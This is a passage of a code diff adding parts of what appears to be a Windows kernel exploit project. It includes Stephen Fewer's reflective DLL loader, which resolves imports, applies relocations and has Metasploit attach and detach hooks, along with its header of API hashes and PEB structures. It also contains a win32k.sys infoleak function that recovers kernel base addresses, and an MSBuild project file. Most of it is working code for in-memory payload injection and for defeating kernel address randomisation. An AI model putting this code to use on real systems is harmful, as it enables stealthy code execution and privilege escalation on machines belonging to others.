|
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// get the VA of this functions import by name struct
|
||||||
|
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||||
|
|
||||||
|
OUTPUTDBG("Resolving function: ");
|
||||||
|
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use GetProcAddress and patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||||
|
}
|
||||||
|
// get the next imported function
|
||||||
|
uiValueA += sizeof( ULONG_PTR );
|
||||||
|
if( uiValueD )
|
||||||
|
uiValueD += sizeof( ULONG_PTR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next import
|
||||||
|
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 5: process all of our images relocations...
|
||||||
|
|
||||||
|
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||||
|
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// uiValueB = the address of the relocation directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||||
|
|
||||||
|
// check if their are any relocations present
|
||||||
|
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||||
|
{
|
||||||
|
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// and we itterate through all entries...
|
||||||
|
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||||
|
{
|
||||||
|
// uiValueA = the VA for this relocation block
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueB = number of entries in this relocation block
|
||||||
|
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||||
|
|
||||||
|
// uiValueD is now the first entry in the current relocation block
|
||||||
|
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||||
|
|
||||||
|
// we itterate through all the entries in the current block...
|
||||||
|
while( uiValueB-- )
|
||||||
|
{
|
||||||
|
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||||
|
// we dont use a switch statement to avoid the compiler building a jump table
|
||||||
|
// which would not be very position independent!
|
||||||
|
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||||
|
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||||
|
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||||
|
{
|
||||||
|
register DWORD dwInstruction;
|
||||||
|
register DWORD dwAddress;
|
||||||
|
register WORD wImm;
|
||||||
|
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||||
|
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||||
|
// flip the words to get the instruction as expected
|
||||||
|
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
// sanity chack we are processing a MOV instruction...
|
||||||
|
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||||
|
{
|
||||||
|
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||||
|
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||||
|
// apply the relocation to the target address
|
||||||
|
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||||
|
// now create a new instruction with the same opcode and register param.
|
||||||
|
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||||
|
// patch in the relocated address...
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||||
|
// now flip the instructions words and patch back into the code...
|
||||||
|
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||||
|
|
||||||
|
// get the next entry in the current relocation block
|
||||||
|
uiValueD += sizeof( IMAGE_RELOC );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next entry in the relocation directory
|
||||||
|
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 6: call our images entry point
|
||||||
|
|
||||||
|
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||||
|
|
||||||
|
OUTPUTDBG("Flushing the instruction cache");
|
||||||
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
|
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||||
|
|
||||||
|
// call our respective entry point, fudging our hInstance value
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||||
|
#else
|
||||||
|
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||||
|
return uiValueA;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
// you must implement this function...
|
||||||
|
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||||
|
|
||||||
|
BOOL MetasploitDllAttach( SOCKET socket )
|
||||||
|
{
|
||||||
|
Init( socket );
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||||
|
{
|
||||||
|
switch( dwExitFunc )
|
||||||
|
{
|
||||||
|
case EXITFUNC_SEH:
|
||||||
|
SetUnhandledExceptionFilter( NULL );
|
||||||
|
break;
|
||||||
|
case EXITFUNC_THREAD:
|
||||||
|
ExitThread( 0 );
|
||||||
|
break;
|
||||||
|
case EXITFUNC_PROCESS:
|
||||||
|
ExitProcess( 0 );
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_METASPLOIT_ATTACH:
|
||||||
|
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||||
|
break;
|
||||||
|
case DLL_METASPLOIT_DETACH:
|
||||||
|
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||||
|
break;
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,223 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Winsock2.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
// Enable this define to turn on OutputDebugString support
|
||||||
|
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||||
|
|
||||||
|
// Enable this define to turn on locking of memory to prevent paging
|
||||||
|
#define ENABLE_STOPPAGING 1
|
||||||
|
|
||||||
|
#define EXITFUNC_SEH 0xEA320EFE
|
||||||
|
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||||
|
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||||
|
|
||||||
|
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||||
|
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||||
|
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||||
|
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
|
||||||
|
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
|
||||||
|
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||||
|
|
||||||
|
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||||
|
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||||
|
#define ARM_MOVW 0xF2400000
|
||||||
|
#define ARM_MOVT 0xF2C00000
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _rotr )
|
||||||
|
|
||||||
|
__forceinline DWORD ror( DWORD d )
|
||||||
|
{
|
||||||
|
return _rotr( d, HASH_KEY );
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline DWORD _hash( char * c )
|
||||||
|
{
|
||||||
|
register DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror( h );
|
||||||
|
h += *c;
|
||||||
|
} while( *++c );
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
typedef struct _UNICODE_STR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR pBuffer;
|
||||||
|
} UNICODE_STR, *PUNICODE_STR;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||||
|
//__declspec( align(8) )
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STR FullDllName;
|
||||||
|
UNICODE_STR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
SHORT LoadCount;
|
||||||
|
SHORT TlsIndex;
|
||||||
|
LIST_ENTRY HashTableEntry;
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||||
|
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||||
|
{
|
||||||
|
DWORD dwLength;
|
||||||
|
DWORD dwInitialized;
|
||||||
|
LPVOID lpSsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
LPVOID lpEntryInProgress;
|
||||||
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||||
|
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||||
|
{
|
||||||
|
struct _PEB_FREE_BLOCK * pNext;
|
||||||
|
DWORD dwSize;
|
||||||
|
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||||
|
|
||||||
|
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||||
|
// WinDbg> dt -v ntdll!_PEB
|
||||||
|
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||||
|
{
|
||||||
|
BYTE bInheritedAddressSpace;
|
||||||
|
BYTE bReadImageFileExecOptions;
|
||||||
|
BYTE bBeingDebugged;
|
||||||
|
BYTE bSpareBool;
|
||||||
|
LPVOID lpMutant;
|
||||||
|
LPVOID lpImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA pLdr;
|
||||||
|
LPVOID lpProcessParameters;
|
||||||
|
LPVOID lpSubSystemData;
|
||||||
|
LPVOID lpProcessHeap;
|
||||||
|
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||||
|
LPVOID lpFastPebLockRoutine;
|
||||||
|
LPVOID lpFastPebUnlockRoutine;
|
||||||
|
DWORD dwEnvironmentUpdateCount;
|
||||||
|
LPVOID lpKernelCallbackTable;
|
||||||
|
DWORD dwSystemReserved;
|
||||||
|
DWORD dwAtlThunkSListPtr32;
|
||||||
|
PPEB_FREE_BLOCK pFreeList;
|
||||||
|
DWORD dwTlsExpansionCounter;
|
||||||
|
LPVOID lpTlsBitmap;
|
||||||
|
DWORD dwTlsBitmapBits[2];
|
||||||
|
LPVOID lpReadOnlySharedMemoryBase;
|
||||||
|
LPVOID lpReadOnlySharedMemoryHeap;
|
||||||
|
LPVOID lpReadOnlyStaticServerData;
|
||||||
|
LPVOID lpAnsiCodePageData;
|
||||||
|
LPVOID lpOemCodePageData;
|
||||||
|
LPVOID lpUnicodeCaseTableData;
|
||||||
|
DWORD dwNumberOfProcessors;
|
||||||
|
DWORD dwNtGlobalFlag;
|
||||||
|
LARGE_INTEGER liCriticalSectionTimeout;
|
||||||
|
DWORD dwHeapSegmentReserve;
|
||||||
|
DWORD dwHeapSegmentCommit;
|
||||||
|
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||||
|
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||||
|
DWORD dwNumberOfHeaps;
|
||||||
|
DWORD dwMaximumNumberOfHeaps;
|
||||||
|
LPVOID lpProcessHeaps;
|
||||||
|
LPVOID lpGdiSharedHandleTable;
|
||||||
|
LPVOID lpProcessStarterHelper;
|
||||||
|
DWORD dwGdiDCAttributeList;
|
||||||
|
LPVOID lpLoaderLock;
|
||||||
|
DWORD dwOSMajorVersion;
|
||||||
|
DWORD dwOSMinorVersion;
|
||||||
|
WORD wOSBuildNumber;
|
||||||
|
WORD wOSCSDVersion;
|
||||||
|
DWORD dwOSPlatformId;
|
||||||
|
DWORD dwImageSubsystem;
|
||||||
|
DWORD dwImageSubsystemMajorVersion;
|
||||||
|
DWORD dwImageSubsystemMinorVersion;
|
||||||
|
DWORD dwImageProcessAffinityMask;
|
||||||
|
DWORD dwGdiHandleBuffer[34];
|
||||||
|
LPVOID lpPostProcessInitRoutine;
|
||||||
|
LPVOID lpTlsExpansionBitmap;
|
||||||
|
DWORD dwTlsExpansionBitmapBits[32];
|
||||||
|
DWORD dwSessionId;
|
||||||
|
ULARGE_INTEGER liAppCompatFlags;
|
||||||
|
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||||
|
LPVOID lppShimData;
|
||||||
|
LPVOID lpAppCompatInfo;
|
||||||
|
UNICODE_STR usCSDVersion;
|
||||||
|
LPVOID lpActivationContextData;
|
||||||
|
LPVOID lpProcessAssemblyStorageMap;
|
||||||
|
LPVOID lpSystemDefaultActivationContextData;
|
||||||
|
LPVOID lpSystemAssemblyStorageMap;
|
||||||
|
DWORD dwMinimumStackCommit;
|
||||||
|
} _PEB, * _PPEB;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD offset:12;
|
||||||
|
WORD type:4;
|
||||||
|
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,55 @@
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "Win32kLeaker.h"
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD);
|
||||||
|
static const int InfoLeakBuffer = 0x40000000;
|
||||||
|
|
||||||
|
// Don't make a const so the compiler stores it on .data
|
||||||
|
static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00;
|
||||||
|
|
||||||
|
// Leak the base address of `win32k.sys`. This infoleak is slightly different from
|
||||||
|
// the standalone infoleak because we need to handle the position-independent nature
|
||||||
|
// of this exploit.
|
||||||
|
ULONGLONG LeakWin32kAddress() {
|
||||||
|
ULONGLONG win32kBaseAddr = 0;
|
||||||
|
HDC hdc = NULL;
|
||||||
|
DWORD hi = 0;
|
||||||
|
DWORD lo = 0;
|
||||||
|
|
||||||
|
VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
|
||||||
|
hdc = CreateCompatibleDC(NULL);
|
||||||
|
if (hdc == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Leak the address and retrieve it from `buffer`.
|
||||||
|
MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44);
|
||||||
|
|
||||||
|
hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address
|
||||||
|
lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address
|
||||||
|
|
||||||
|
// Check: High DWORD should be a kernel-mode address (i.e.
|
||||||
|
// 0xffff0800`00000000). We make the check stricter by checking for a
|
||||||
|
// subset of kernel-mode addresses.
|
||||||
|
if ((hi & 0xfffff000) != 0xfffff000) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
|
||||||
|
// the following computation.
|
||||||
|
win32kBaseAddr = ((ULONGLONG)hi << 32) | lo;
|
||||||
|
|
||||||
|
// Adjust for offset to get base address of `win32k.sys`.
|
||||||
|
win32kBaseAddr = win32kBaseAddr - InfoLeakOffset;
|
||||||
|
|
||||||
|
// Check: Base address of `win32k.sys` should be of the form
|
||||||
|
// 0xFFFFFxxx`00xxx000.
|
||||||
|
if ((win32kBaseAddr & 0xff000fff) != 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteDC(hdc);
|
||||||
|
return win32kBaseAddr;
|
||||||
|
}
|
|
@ -0,0 +1,5 @@
|
||||||
|
#ifndef WIN32KLEAKER_H
|
||||||
|
#define WIN32KLEAKER_H
|
||||||
|
|
||||||
|
ULONGLONG LeakWin32kAddress();
|
||||||
|
#endif
|
|
@ -0,0 +1,255 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|ARM">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|ARM">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
|
||||||
|
<RootNamespace>inject</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
